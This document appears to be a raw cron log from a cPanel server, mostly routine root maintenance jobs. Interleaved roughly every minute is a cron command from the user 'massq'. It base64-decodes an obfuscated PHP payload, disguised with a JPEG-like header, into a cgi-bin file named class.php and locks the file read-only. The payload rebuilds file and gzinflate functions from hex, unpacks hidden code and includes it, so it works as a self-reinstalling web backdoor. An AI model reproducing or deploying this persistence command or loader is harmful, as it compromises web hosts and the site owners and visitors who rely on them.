Sep  5 19:10:01 server CROND[8367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:10:01 server CROND[8375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:10:01 server CROND[8371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:10:01 server CROND[8373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:10:01 server CROND[8374]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:10:01 server CROND[8372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:11:01 server CROND[9289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:11:01 server CROND[9290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:11:01 server CROND[9291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:12:01 server CROND[9717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:12:01 server CROND[9719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:12:01 server CROND[9720]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 19:12:01 server CROND[9718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:13:01 server CROND[10077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:13:01 server CROND[10078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:13:01 server CROND[10079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:14:01 server CROND[10440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:14:01 server CROND[10441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:14:01 server CROND[10442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:15:01 server CROND[10830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:15:01 server CROND[10832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:15:01 server CROND[10833]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:15:01 server CROND[10839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:15:01 server CROND[10840]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:15:01 server CROND[10841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:15:01 server CROND[10844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:15:01 server CROND[10842]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 19:16:01 server CROND[11694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:16:01 server CROND[11695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:16:01 server CROND[11696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:17:01 server CROND[12212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:17:01 server CROND[12213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:17:01 server CROND[12214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:18:01 server CROND[12647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:18:01 server CROND[12648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:18:01 server CROND[12649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:19:01 server CROND[13011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:19:01 server CROND[13012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:19:01 server CROND[13013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:20:01 server CROND[13384]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:20:01 server CROND[13385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:20:01 server CROND[13389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:20:01 server CROND[13391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:20:01 server CROND[13392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:20:01 server CROND[13397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:20:01 server CROND[13394]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 19:20:01 server CROND[13396]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:20:01 server CROND[13402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:21:01 server CROND[14277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:21:01 server CROND[14279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:21:01 server CROND[14280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
